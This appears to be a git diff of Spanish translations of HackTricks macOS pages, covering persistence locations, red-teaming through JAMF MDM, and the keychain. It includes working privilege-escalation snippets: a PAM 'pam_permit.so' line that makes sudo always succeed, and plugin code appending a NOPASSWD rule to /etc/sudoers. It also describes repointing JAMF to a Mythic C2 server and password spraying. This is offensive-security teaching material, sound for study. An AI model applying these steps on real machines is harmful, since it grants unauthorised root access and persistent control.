@ -962,17 +949,19 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevil
|
|||
|
||||
* `/Library/ColorPickers`
|
||||
* Se requieren permisos de root
|
||||
* Desencadenar: Usar el selector de color
|
||||
* Desencadenante: Usar el selector de color
|
||||
* `~/Library/ColorPickers`
|
||||
* Desencadenar: Usar el selector de color
|
||||
* Desencadenante: Usar el selector de color
|
||||
|
||||
#### Descripción y Exploit
|
||||
|
||||
**Compila un paquete de selector de color** con tu código (podrías usar [**este por ejemplo**](https://github.com/viktorstrate/color-picker-plus)) y agrega un constructor (como en la sección de [Protector de pantalla](macos-auto-start-locations.md#screen-saver)) y copia el paquete a `~/Library/ColorPickers`.
|
||||
|
||||
Luego, cuando se active el selector de color, tu código también debería ejecutarse.
|
||||
Entonces, cuando se active el selector de color, tu código también debería ejecutarse.
|
||||
|
||||
Ten en cuenta que el binario que carga tu biblioteca tiene un **sandbox muy restrictivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
[Key] com.apple.security.temporary-exception.sbpl
|
||||
[Value]
|
||||
|
@ -1016,10 +1005,10 @@ Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/
|
|||
#### Ubicación
|
||||
|
||||
* `/System/Library/Screen Savers`
|
||||
* Se requieren permisos de root
|
||||
* Se requiere permisos de root
|
||||
* **Desencadenar**: Seleccionar el protector de pantalla
|
||||
* `/Library/Screen Savers`
|
||||
* Se requieren permisos de root
|
||||
* Se requiere permisos de root
|
||||
* **Desencadenar**: Seleccionar el protector de pantalla
|
||||
* `~/Library/Screen Savers`
|
||||
* **Desencadenar**: Seleccionar el protector de pantalla
|
||||
|
@ -1030,7 +1019,7 @@ Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/
|
|||
|
||||
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de pantalla**. Luego, agrega tu código, por ejemplo el siguiente código para generar registros.
|
||||
|
||||
**Compílalo** y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:
|
||||
**Compílalo**, y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1138,10 +1127,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios un acceso rápido y completo a los datos en sus computadoras.\
|
||||
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una base de datos **propia** y crea un índice al **analizar la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivo como por su contenido.
|
||||
Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios **acceso rápido y completo a los datos en sus computadoras**.\
|
||||
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una **base de datos propietaria** y crea un índice al **analizar la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivo como por su contenido.
|
||||
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementariamente, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles a través de complementos de importación de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementariamente, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles a través de complementos importadores de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.
|
||||
|
||||
Los complementos o **paquetes `.mdimporter`** se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en cuestión de minutos (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué **tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.
|
||||
|
||||
|
@ -1297,8 +1286,8 @@ Ten en cuenta que el script periódico se **ejecutará como el propietario del s
|
|||
|
||||
### PAM
|
||||
|
||||
Explicación: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Explicación: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Explicación detallada: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Explicación detallada: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* Útil para evadir la sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Pero necesitas ser root
|
||||
|
@ -1310,7 +1299,7 @@ Explicación: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Dado que PAM se enfoca más en la **persistencia** y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, **lee las explicaciones para entender mejor esta técnica**.
|
||||
Dado que PAM se enfoca más en la **persistencia** y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, **lee las explicaciones detalladas para entender mejor esta técnica**.
|
||||
|
||||
Verifica los módulos de PAM con:
|
||||
```bash
|
||||
|
@ -1320,7 +1309,7 @@ Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fá
|
|||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
Entonces se verá **algo así** como esto:
|
||||
Así se verá **algo así** como esto:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1334,7 +1323,7 @@ session required pam_permit.so
|
|||
Y, por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso.
|
||||
Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso.
|
||||
{% endhint %}
|
||||
|
||||
### Plugins de Autorización
|
||||
|
@ -1369,7 +1358,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**Mueva** el paquete a la ubicación para que se cargue:
|
||||
**Mueva** el paquete a la ubicación para ser cargado:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1398,7 +1387,7 @@ Actívalo con:
|
|||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
Y luego el grupo **staff** debería tener acceso **sudo** (lee `/etc/sudoers` para confirmar).
|
||||
Y luego el grupo **staff debe tener acceso sudo** (lee `/etc/sudoers` para confirmar).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1442,7 +1431,7 @@ touch /tmp/manconf
|
|||
#### Ubicación
|
||||
|
||||
* **`/etc/apache2/httpd.conf`**
|
||||
* Requiere permisos de root
|
||||
* Se requiere ser root
|
||||
* Disparador: Cuando se inicia Apache2
|
||||
|
||||
#### Descripción y Exploit
|
||||
|
@ -1455,9 +1444,9 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
De esta manera, tus módulos compilados serán cargados por Apache. La única condición es que necesitas **firmarlo con un certificado válido de Apple**, o necesitas **agregar un nuevo certificado de confianza** en el sistema y **firmarlo** con él.
|
||||
De esta manera, tus módulos compilados serán cargados por Apache. La única condición es que necesitas **firmarlos con un certificado válido de Apple**, o necesitas **agregar un nuevo certificado de confianza** en el sistema y **firmarlos** con él.
|
||||
|
||||
Luego, si es necesario, para asegurarte de que el servidor se iniciará, podrías ejecutar:
|
||||
Luego, si es necesario, para asegurarte de que el servidor se iniciará, puedes ejecutar:
|
||||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
|
@ -1496,18 +1485,15 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
### Elementos de Inicio
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Esto está obsoleto, por lo que no debería encontrarse nada en esos directorios.**
|
||||
**Esto está obsoleto, por lo que no se debería encontrar nada en esos directorios.**
|
||||
{% endhint %}
|
||||
|
||||
El directorio **StartupItem** es un directorio que debería estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez que este directorio esté establecido, debe contener dos archivos específicos:
|
||||
El directorio **StartupItem** debe estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez que este directorio esté establecido, debe contener dos archivos específicos:
|
||||
|
||||
1. Un **script rc**: Un script de shell ejecutado al inicio.
|
||||
2. Un archivo **plist**, específicamente nombrado `StartupParameters.plist`, que contiene varias configuraciones.
|
||||
2. Un archivo **plist**, nombrado específicamente `StartupParameters.plist`, que contiene varias configuraciones.
|
||||
|
||||
Asegúrate de que tanto el script rc como el archivo `StartupParameters.plist` estén ubicados correctamente dentro del directorio **StartupItem** para que el proceso de inicio los reconozca y los utilice.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1528,7 +1514,35 @@ Asegúrate de que tanto el script rc como el archivo `StartupParameters.plist` e
|
|||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### Nombre del super servicio
|
||||
### Ubicaciones de inicio automático de macOS
|
||||
|
||||
#### Carpetas de inicio automático
|
||||
|
||||
Las siguientes carpetas contienen elementos que se inician automáticamente al iniciar sesión en macOS:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/Library/StartupItems/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
- `/System/Library/StartupItems/`
|
||||
- `~/Library/LaunchAgents/`
|
||||
- `~/Library/LaunchDaemons/`
|
||||
|
||||
#### Otros lugares de inicio automático
|
||||
|
||||
Además de las carpetas mencionadas, también hay otras ubicaciones donde se pueden encontrar elementos de inicio automático en macOS:
|
||||
|
||||
- Archivos `.plist` en `/Library/LaunchDaemons/` y `/System/Library/LaunchDaemons/`
|
||||
- Archivos `.plist` en `/Library/LaunchAgents/` y `/System/Library/LaunchAgents/`
|
||||
- Archivos `.plist` en `/Library/Preferences/`
|
||||
- Archivos `.plist` en `~/Library/LaunchAgents/`
|
||||
- Archivos `.plist` en `~/Library/LaunchDaemons/`
|
||||
- Archivos `.plist` en `~/Library/Preferences/`
|
||||
|
||||
Al revisar y gestionar estos lugares de inicio automático, puedes mejorar la seguridad y el rendimiento de tu sistema macOS.
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1553,20 +1567,20 @@ RunService "$1"
|
|||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
No puedo encontrar este componente en mi macOS, para más información revisa el informe
|
||||
No puedo encontrar este componente en mi macOS, para obtener más información consulta el informe técnico
|
||||
{% endhint %}
|
||||
|
||||
Informe: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
Informe técnico: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Introducido por Apple, **emond** es un mecanismo de registro que parece estar subdesarrollado o posiblemente abandonado, pero sigue siendo accesible. Aunque no es particularmente beneficioso para un administrador de Mac, este servicio oscuro podría servir como un método sutil de persistencia para actores de amenazas, probablemente pasando desapercibido para la mayoría de los administradores de macOS.
|
||||
|
||||
Para aquellos que conocen su existencia, identificar cualquier uso malicioso de **emond** es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un directorio único. Para inspeccionar esto, se puede utilizar el siguiente comando:
|
||||
Para aquellos que conocen su existencia, identificar cualquier uso malicioso de **emond** es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un solo directorio. Para inspeccionar esto, se puede utilizar el siguiente comando:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
### ~~XQuartz~~
|
||||
|
||||
Explicación: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1576,7 +1590,7 @@ Explicación: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevi
|
|||
|
||||
#### Descripción y Exploit
|
||||
|
||||
XQuartz **ya no está instalado en macOS**, así que si deseas más información, consulta la explicación.
|
||||
XQuartz ya **no se instala en macOS**, así que si deseas más información, consulta la escritura.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
|
@ -1601,11 +1615,11 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
Para obtener más información sobre [**extensiones del kernel, consulte esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
Para obtener más información sobre [**extensiones de kernel, consulte esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
Informe: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1620,7 +1634,7 @@ Ya no puedo encontrar esto en mi macOS.
|
|||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Informe: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
|
@ -1630,7 +1644,7 @@ Informe: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### Descripción y explotación
|
||||
|
||||
Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el informe.
|
||||
Aparentemente, no es muy común ejecutar este script y ni siquiera pude encontrarlo en mi macOS, así que si deseas más información, consulta el writeup.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1736,16 +1750,17 @@ esac
|
|||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Red Team en macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Abusando de los MDMs
|
||||
|
||||
|
@ -21,7 +22,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Si logras **comprometer las credenciales de administrador** para acceder a la plataforma de gestión, puedes **potencialmente comprometer todas las computadoras** distribuyendo tu malware en las máquinas.
|
||||
|
||||
Para el red teaming en entornos de MacOS, es muy recomendable tener cierto entendimiento de cómo funcionan los MDMs:
|
||||
Para el red teaming en entornos de MacOS, es altamente recomendable tener cierto entendimiento de cómo funcionan los MDMs:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -47,9 +48,9 @@ JAMF puede ejecutar **scripts personalizados** (scripts desarrollados por el sys
|
|||
|
||||
Ve a una página como `https://<nombre-de-la-empresa>.jamfcloud.com/enroll/` para ver si tienen **habilitada la autoinscripción**. Si la tienen, podría **solicitar credenciales para acceder**.
|
||||
|
||||
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de spraying de contraseñas.
|
||||
Podrías usar el script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar un ataque de rociado de contraseñas.
|
||||
|
||||
Además, después de encontrar credenciales adecuadas, podrías ser capaz de hacer fuerza bruta en otros nombres de usuario con el siguiente formulario:
|
||||
Además, después de encontrar credenciales adecuadas, podrías ser capaz de realizar un ataque de fuerza bruta a otros nombres de usuario con el siguiente formulario:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
|
@ -62,7 +63,7 @@ Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/
|
|||
|
||||
#### Toma de control de dispositivos JAMF
|
||||
|
||||
La **URL** de **JSS** (Servidor de Software Jamf) que usará **`jamf`** se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
La **URL** de **JSS** (Jamf Software Server) que usará **`jamf`** se encuentra en **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Este archivo básicamente contiene la URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,9 +81,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Por lo tanto, un atacante podría dejar caer un paquete malicioso (`pkg`) que **sobrescribe este archivo** al ser instalado configurando la **URL a un escucha de C2 de Mythic desde un agente de Typhon** para ahora poder abusar de JAMF como C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Por lo tanto, un atacante podría dejar caer un paquete malicioso (`pkg`) que **sobrescribe este archivo** al ser instalado configurando la **URL a un escucha de C2 de Mythic desde un agente de Typhon** para ahora poder abusar de JAMF como C2.
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -104,7 +103,7 @@ Con esta información, **crea una VM** con el **UUID de hardware robado** y con
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` para los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que son **colocados aquí, ejecutados y eliminados**. Estos scripts **podrían contener credenciales**.
|
||||
También podrías monitorear la ubicación `/Library/Application Support/Jamf/tmp/` en busca de los **scripts personalizados** que los administradores podrían querer ejecutar a través de Jamf, ya que son **colocados aquí, ejecutados y eliminados**. Estos scripts **podrían contener credenciales**.
|
||||
|
||||
Sin embargo, las **credenciales** podrían ser pasadas a estos scripts como **parámetros**, por lo que necesitarías monitorear `ps aux | grep -i jamf` (sin siquiera ser root).
|
||||
|
||||
|
@ -120,7 +119,7 @@ Y también sobre los **protocolos** de **red** "especiales" de **MacOS**:
|
|||
|
||||
## Directorio Activo
|
||||
|
||||
En algunas ocasiones encontrarás que la **computadora MacOS está conectada a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
|
||||
En algunas ocasiones te encontrarás con que el **ordenador MacOS está conectado a un AD**. En este escenario deberías intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra algo de **ayuda** en las siguientes páginas:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -189,7 +188,7 @@ Más información en [https://its-a-feature.github.io/posts/2018/01/Active-Direc
|
|||
|
||||
## Accediendo al Portafolio de Llaves
|
||||
|
||||
El Portafolio de Llaves probablemente contiene información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red teaming:
|
||||
Es altamente probable que el Portafolio de Llaves contenga información sensible que, si se accede sin generar una solicitud, podría ayudar a avanzar en un ejercicio de red teaming:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -197,7 +196,7 @@ El Portafolio de Llaves probablemente contiene información sensible que, si se
|
|||
|
||||
## Servicios Externos
|
||||
|
||||
El red teaming en MacOS es diferente al red teaming en Windows, ya que **generalmente MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin.
|
||||
El red teaming en MacOS es diferente al red teaming regular en Windows, ya que **generalmente MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin.
|
||||
|
||||
## Técnicas Misceláneas de Red Team
|
||||
|
||||
|
@ -214,3 +213,18 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá
|
|||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Llavero de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
